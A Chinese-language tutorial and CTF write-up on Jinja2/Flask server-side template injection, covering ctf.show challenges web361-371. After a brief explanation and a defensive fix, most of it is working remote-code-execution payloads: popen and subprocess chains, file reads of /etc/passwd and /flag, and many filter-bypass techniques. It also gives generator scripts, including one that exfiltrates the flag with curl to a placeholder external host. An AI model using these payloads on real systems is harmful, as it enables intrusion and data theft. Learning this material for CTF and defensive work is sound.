一.知识点

1.模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

简单来说就是模板提供位置,用户提供数据

2.SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection

当前使用的一些框架,比如python的flask,php的thinkphp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,这里主要有两种模板渲染函数,render_template_string()render_template(),其中render_template是用来渲染一个指定文件的,render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞

3.举例

用以下代码进行本地演示

from flask import *
from jinja2 import *

app = Flask(__name__)
@app.route("/")

def index():
name = request.args.get('user','guest')
html = '''<h1> Hello %s'''%name
return render_template_string(html)

if __name__ == "__main__":
app.run(debug=True)

image-20250427164310332

此时可以看到当传参为user=yxing时将用户输入的yxing直接输出了,尝试输入变量来进行解析,比如user={{2*2}},就可以看到直接将变量解析后输出

image-20250427164425809

那么我们主要就是利用变量的解析来实现任意命令执行了,下面来谈一下攻击方法

4.继承关系

在攻击过程就是通过不断继承来实现rce,所以这里先来讲下继承关系

image-20250427173332967

首先先创建四个类,然后B继承了A,C继承了B,D继承了C,我们先新建一个C类的对象为c,就可以通过__class__魔术方法来找到它的当前类

image-20250427173716940

然后可以使用__base__魔术方法来找到父类。注意,这里如果使用__bases__魔术方法,也会返回父类,只不过是以元组形式返回,即(<class '__main__.B'>,)

image-20250427173833045

当然,支持多个__base__方法连在一起使用,可以看到返回了A类

image-20250427173959320

在A类的基础上如果再使用__base__魔术方法理论来说是没有了,但是实际上会返回object类,这是所有子类的父类当我们创建一个类而没有显式地指定它继承的父类时,这个类就会默认继承object类,因此我们在添加一个__base__就能拿到object。当然,在object类再使用__base__魔术方法就会返回None

image-20250427174439689

也可以使用__mro__魔术方法一次性输出所有类的父类

image-20250427174118940

由于__mro__魔术方法是数组形式,所以加上下标就能实现读取指定的类

image-20250427175626659

以上基础知识就讲完了,下面讲下攻击方法:

当我们拿到object类之后,那么就可以使用__subclasses__魔术方法(注意这里需要加()来实现返回列表)查找到object类全部的子类,其中包含了能实现rce的子类,那么同样通过下标去找到能够rce的子类

image-20250427180357841

这里给出一个可以进行rce的子类<class 'os._wrap_close'>,先要找到这个类的位置,一般来说是139,但是具体情况具体分析,在终端中可以通过查找来快速确定位置,可以看到这里是第165项,由于第一项不算,所以查找第164项得到该类

image-20250427181303234

然后先给这个类通过__init__这个初始化方法初始化

image-20250427181817585

初始化之后通过__globals__魔术方法来返回当前类方法中的全局变量字典

image-20250427182249050

可以看到有一些执行系统命令的全局变量,这里用popen函数来执行系统命令,在后面类似于下标加上名字即可找到对应函数并使用

image-20250427182622230

随便执行一个系统命令,比如whoami,再使用.read()方法来读取,因为popen方法返回的是一个与子进程通信的对象,为了从该对象中获取子进程的输出,因此需要使用.read()方法来读取子进程的输出。

image-20250427183047166

可以看到成功执行了,现在就可以进行rce

5.方法

__class__:返回对象的类

__mro__:返回类的所有父类(表示类的方法解析顺序)(从当前类到object类)

__base__:返回类的直接父类

__bases__:返回类的直接父类(以元组形式)

__subclasses__():获取当前类的所有子类

__init__:类的初始化方法

__globals__:对包含(保存)函数全局变量的字典的引用

__getitem__:实现对对象的索引访问操作。对字典使用时,传入字符串返回字典相应键所对应的值;对列表使用时,传入整数返回列表对应索引的值。

__builtins__:包含了 Python 中所有内置的函数、变量和异常。因此常用来访问内置函数

get():获取字典中的值

lipsum():可以用于得到__builtins__,而且lipsum.__globals__含有os模块

6.过滤器

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

7.实操

因为我们不知道有什么现成的类,因此我们可以直接使用下面这些来直接获取对应的类

''.__class__
().__class__
[].__class__
"".__class__
{}.__class__

image-20250427213742151

这里的''""都可以表示字符串,所以它们的就是表示字符串本身的<class 'str'>类。而(),[],{}分别代表元组,列表,字典的类

还是根据上面的那个例子来实操一下

user={{''.__class__}}
#返回字符串的类

image-20250427214457027

user={{''.__class__.__base__}}
#返回字符串的父类,即object类

image-20250427214559468

user={{''.__class__.__base__ .__subclasses__()}}
#返回object类的所有子类,需要找到可用类,比如<class 'os._wrap_close'>

image-20250427214721265

user={{''.__class__.__base__ .__subclasses__()}}
#通过搜索找到可用类在第165个,去除第一个即为164
#可以先查找<class 'os,然后找到后再删除os就是需要的指引了

image-20250427215138060

user={{''.__class__.__base__ .__subclasses__()[164].__init__}}
#对这个类进行初始化方法

image-20250427215258818

user={{''.__class__.__base__ .__subclasses__()[164].__init__.__globals__['popen']('whoami').read()}}
#通过全局变量中的popen函数尝试进行rce,注意一定要使用.read()方法
这个命令也可写为以下形式,也能打出来
user={{''.__class__.__base__ .__subclasses__()[164].__init__.__globals__.popen('whoami').read()}}

image-20250427215605639

可以看到成功执行了命令,但是在实际题目中payload不是一成不变的,需要根据题目具体分析

8.防御方法

不进行渲染直接通过占位传入数据,那么就可以避免模板注入的存在,比如如下

from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('user', 'guest')
html = '<h1>Hello %s</h1>' %name
return html

if __name__ == "__main__":
app.run(debug=True)

image-20250428223559353

9.常见payload

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

10.绕过

数字绕过

  • 四则运算

  • {{set num='aaaaaaaaaa'|length*'aaaaaaaaaaaaaa'|length-'aaaaaaaa'|length}},num的结果就为10*14-8,'a'|length就表示字符串的长度

''""绕过

  • 旁路注入:通过GET/POST传参来代替引号内容
#GET方式,用request.args.参数 代替,然后用get传参
['popen']
可以换成
[request.args.a]然后get传参a=popen

#GET/POST方式,用request.values.参数 代替,然后用get/post传参
['popen']
可以换成
[request.values.a]然后post传参a=popen

#cookie方式,用request.cookies.参数 代替,然后用cookie传参
['popen']
可以换成
[request.cookies.a]然后cookie传参a=popen
  • chr进行字符串拼接(注意:实际中不一定为第59个子类)
{%set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}
#第59个子类(通常是warnings.catch_warnings),获取python内置chr()函数
{{().__class__.__bases__.__getitem__(0).__subclasses__()[164].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
#后面还是使用os._wrap_close这个子类,这里%2b为+号,在发送请求的时候需要编码成%2b,不然会被当成空格处理
#最终获得的payload如下,ascii为whoami
{%set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[244].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__()[164].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
  • 手动构造char
user=&#123%set char=config.__class__.__init__.__globals__.__builtins__.chr%}{{char(99)%2bchar(100)}}
#结果为cd
攻击payload可为(找<class 'os._wrap_close'>这个类)
user=&#123%set char=config.__class__.__init__.__globals__.__builtins__.chr%}{{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.popen(char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)).read()}}

image-20250427234824250

[]绕过

  • __getitem__绕过
__subclasses__().__getitem__(407)=__subclasses__()[407]

_绕过

  • 十六进制绕过(注意不用点连接了)
{{().__class__.__base__}}={{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]}}
  • 过滤器函数attr(),将带下划线部分作为attr()函数的参数并使用GETPOSTattr()函数传参数
{{().__class__.__base__}}
=
{{()|attr(request.args.a)|attr(request.args.b)}}&a=__class__&b=__base__
  • pop方法动态调用(web369)

pop(index) 是列表的内置方法,用于移除并返回列表中指定索引的元素。

{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}

{ {} }绕过

  • 通过{%%}绕过

关键字绕过

  • 旁路注入
  • 双引号分割,比如popen=p""open

11.题目知识点

其他执行rce的姿势

  • subprocess.Popen()子类(web362)
name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}
  • _frozen_importlib_external.FileLoader子类(web362)
name={{"".__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
  • 使用flask内置的lipsum方法(更快获取popen方法)(web362)
name={{lipsum.__globals__.get('os').popen('cat /flag').read()}}

{ {} }{ % % }区别

{%%}是用来执行模板的控制逻辑,例如条件语句、循环、设置变量等,{{}}是用来将变量或表达式的结果输出到模板中的。注意:{{}} 是专门用于输出的,它只能将变量或表达式的结果插入到模板中,而不能执行逻辑控制。

二.题目

web361(无过滤)

题目提示名字就是考点,进去传个name=1就能正常输出,和之前演示的类似,就不重复了,反正还是需要一步步来

name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
#flag
name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}

image-20250427221714676

web362(过滤2,3等数字)

题目提示过滤,先进行测试

name={{''.__class__.__mro__[1].__subclasses__()}}
#可用
name={{''.__class__.__mro__[1].__subclasses__()[132]}}
#报错

既然前面已经使用了[]和1了,那就说明只可能是2,3进行了过滤,我们还是可用四则运算进行绕过

常规绕过

name={{''.__class__.__mro__[1].__subclasses__()[11*11%2b11]}}
#注意这里加法必须使用url编码之后的,否则会将加号认为是空格导致报错
name={{''.__class__.__mro__[1].__subclasses__()[140-8]}}

后面的方法就同理了

name={{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['popen']('ls /').read()}}
#flag
name={{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['popen']('tac /flag').read()}}

image-20250427222924169


其他子类

看wp发现还可以使用其他子类,比如

1.subprocess.Popen()

name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}
  • shell=True表示命令会在系统的 shell 中执行
  • stdout=-1试图捕获命令的输出
  • .communicate()[0]:这是用于与子进程交互的方法,.communicate() 通常用于获取子进程的输出,[0] 表示获取输出的第一个元素,通常是标准输出的内容。

2._frozen_importlib_external.FileLoader

name={{"".__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}

获取/flag目录下的数据


字符长度运算绕过

还可以使用其他绕过数字过滤的方式如下

{%set num='aaaaaaaaaa'|length*'aaaaaaaaaaaaaa'|length-'aaaaaaaa'|length%},num的结果就为10*14-8,'a'|length就表示字符串的长度

name={%set num='aaaaaaaaaa'|length*'aaaaaaaaaaaaaa'|length-'aaaaaaaa'|length%}{{''.__class__.__mro__[1].__subclasses__()[num].__init__.__globals__['popen']('tac /flag').read()}}

注意这里只能使用{%%},而不能使用{{}},原因为前者是用来执行模板的控制逻辑,例如条件语句、循环、设置变量等,后者是用来将变量或表达式的结果输出到模板中的


lipsum方法

还可以使用lipsum方法,这个是flask内置的方法

name={{lipsum.__globals__.get('os').popen('cat /flag').read()}}

web363(过滤’’和””)

还是先测一下

name={{''.__class__}}
#报错
name={{"".__class__}}
#报错
name={{{}.__class__}}
#可用

旁路注入

这里就要使用旁路注入,即通过GET/POST传参来代替引号内容

name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=tac /flag

image-20250427235119090


其他子类

也可以使用其他子类,比如

subprocess.Popen

name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web364(+args)

测试发现args被过滤,用旁路注入其他方法绕过

name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[args]}}
#报错
name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[}}
#可用

request.values.参数

那么不一定用GET传参的args,可用GET/POST传参的values

name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=tac /flag

注意这里GET方式可以打出来,但是POST请求方式被禁用了,再尝试下cookie

request.cookies.参数

name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}}
cookie:a=popen;b=ls /

image-20250428112613788

web365(+[])

name={{().__class__.__base__.__subclasses__()[132]}}
#报错
name={{().__class__.__base__.__subclasses__()[]}}
#报错
name={{().__class__.__base__.__subclasses__()}}
#可用

那么可用__getitem__魔术方法绕过,这里给出四种方法,但是都要使用__getitem__魔术方法

request.valuse.参数

注意这里在__globals__之后要使用__getitem__魔术方法将后面的popen('tac /flag')返回值

name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=tac /flag

image-20250428114706002

request.cookies.参数

name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.cookies.a)(request.cookies.b).read()}}
Cookie:a=popen;b=tac /flag

image-20250428114639282

char方法拼接字符串绕过

name={%set char=config.__class__.__init__.__globals__.__builtins__.chr%}{{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.popen(char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)).read()}}

给个字符串拼接的脚本

def string_to_char_ascii(input_string):
char_parts = [f"char({ord(char)})" for char in input_string]
return "%2b".join(char_parts)

if __name__ == "__main__":
user_input = input("请输入字符串: ")
result = string_to_char_ascii(user_input)
print(result)

image-20250428120205009

subprocess.Popen子类

name={{().__class__.__base__.__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

image-20250428120622137

web366(+_)

name={{()}}
#可用
name={{().__class__}}
#报错

那么通过attr()函数过滤器来绕过

attr() 过滤器用于从对象中获取指定的属性值。它类似于 Python 中的点操作符(.),但只能获取对象的属性,而不会尝试查找字典中的键。

{{ object | attr("attribute_name") }}
  • object:需要获取属性的对象。
  • attribute_name:属性的名称,必须是一个字符串。

attr()过滤器绕过

name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.g)(request.values.h)(request.values.i)|attr(request.values.j)()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__getitem__&h=popen&i=tac /flag&j=read

虽然但是有点太多了,下面给个少点的

lipsum子类(更快获取popen方法)

name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=tac /flag

web367(+os)

限制了lipsum子类里面的os,其实也可以用旁路注入来着

attr()过滤器绕过

name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.g)(request.values.h)(request.values.i)|attr(request.values.j)()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__getitem__&h=popen&i=tac /flag&j=read

lipsum子类(通过get方法来旁路注入)

get方法通常用于从字典中安全地获取值

name={{((lipsum|attr(request.values.a)).get(request.values.b)).popen(request.values.c).read()}}&a=__globals__&b=os&c=tac /flag

image-20250429231559822

web368(+{ {} })

{{}}替换为{%print()%}即可

attr()过滤器绕过

name={%print(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.g)(request.values.h)(request.values.i)|attr(request.values.j)())%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__getitem__&h=popen&i=tac /flag&j=read

lipsum方法(通过get来旁路注入)

name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=tac /flag

image-20250429232929285

web369(+request)

过滤了request

变量重命名

通过构造字符实现最后读/flag,注意这里的+会被视为空格,所以要用%2b来绕过

name=
{% set po=dict(po=a,p=a)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(config|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

下面逐行分析一下

name=
{% set po=dict(po=a,p=a)|join()%}
#通过dict和join构造出pop,注意这里通过dict构建字典的键为po和p,值均为a,而|join()是过滤器,这里使用可将字典的键进行连接

{% set a=(()|select|string|list)|attr(po)(24)%}
#()|select通过select过滤器生成一个过滤器对象,不附加条件时生成默认对象,比如这里会生成<generator object select_or_reject at 0x7ff566a41ba0> (通过{%print ()|select%})
#()|select|string将上面的对象转为字符串,比如<generator object select_or_reject at 0x7ff566a41970>
#()|select|string|list将字符串转换为单个字符的列表,比如['<', 'g', 'e', 'n', ..., 't', '>']
#attr(po)(24)通过动态构造pop方法提取前面字符串列表的第24个字符,这里是返回_
#整个语句就是通过构造将a赋值为_

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
#分别构造__init__,__globals__,__getitem__,__builtins__

{% set x=(config|attr(ini)|attr(glo)|attr(geti))(built)%}
#获取config中的所有内置函数、变量和异常,将x指向builtins模块

{% set chr=x.chr%}
#获取chr方法

{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
#将file赋值为/flag

{%print(x.open(file).read())%}
#通过open方法访问/flag

给个构造的脚本

import re

def is_payload_format(input_str):
"""检查输入是否符合chr(num)%2bchr(num)...的Payload格式"""
pattern = r'^chr\(\d+\)(%2bchr\(\d+\))*$'
return re.fullmatch(pattern, input_str) is not None

def auto_convert(input_str):
"""自动将输入转换为字符串或Payload"""
if is_payload_format(input_str):
return payload_to_string(input_str)
else:
return string_to_payload(input_str)

def payload_to_string(payload):
parts = payload.split('%2b')
string = []
for part in parts:
match = re.match(r'chr\((\d+)\)', part)
if match:
num = int(match.group(1))
string.append(chr(num))
return ''.join(string)

def string_to_payload(s):
payload_parts = [f'chr({ord(c)})' for c in s]
return '%2b'.join(payload_parts)

# 使用示例
if __name__ == "__main__":
user_input = input("请输入要转换的内容: ").strip()
result = auto_convert(user_input)
print("转换结果:", result)

lipsum方法构造字符

原理同上,通过类似于(lipsum|string|list).pop(0)构造字符,这里的(lipsum|string|list)会返回['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '2', 'd', '6', '4', '9', '9', '2', '5', '5', '0', '>']这个列表,通过这个列表来绕过

,注意前面必须要用括号包裹,两个字符之间用~连接

这里给一个脚本

import requests
url="http://48425c90-cbb8-48dc-a0bf-68eb8a26bcd5.challenge.ctf.show?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
k=0
for i in range(0,100):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
k=1
break
if k==0:
print("未找到字符%s,扩大范围或者重新构造"%(j))
print(result[:len(result)-1])

在分别获得对应字符串后组合起来就行

name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
#原始为name={%print (lipsum|attr(__globals__).get(os).popen(cat /flag))%}

web370(+数字)

将数字也过滤了

全角数字绕过

把payload里的数字换成对应的全角数字:
‘0’,’1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’

name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

构造数字

通过字符的个数来构造数字,比如ccccccccc=(dict(eeeeeeeee=a)|join|count),那么现在ccccccccc就代表9

name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(config|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

curl外带

import requests
cmd='__import__("os").popen("curl http://xxx:1223?p=`cat /flag`").read()'
def fun1(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
k=''
t=list(set(t))
for i in t:
k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
return k
def fun2(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
t=list(set(t))
k=''
for i in range(len(s)):
if i<len(s)-1:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
else:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
return k
url ='name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

先监听1223端口,再将获得的数据传参获得flag

image-20250507132931803

web371(+print)

过滤print所以构造的方法都行不通了,只有打外带

curl外带

脚本同370

import requests
cmd='__import__("os").popen("curl http://xxx:1223?p=`cat /flag`").read()'
def fun1(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
k=''
t=list(set(t))
for i in t:
k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
return k
def fun2(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
t=list(set(t))
k=''
for i in range(len(s)):
if i<len(s)-1:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
else:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
return k
url ='name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

image-20250507134008286

dnslog外带

name=
{%set a=dict(po=aa,p=aa)|join%}
{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}
{%set k=dict(eeeeeeeee=a)|join|count%}
{%set l=dict(eeeeeeee=a)|join|count%}
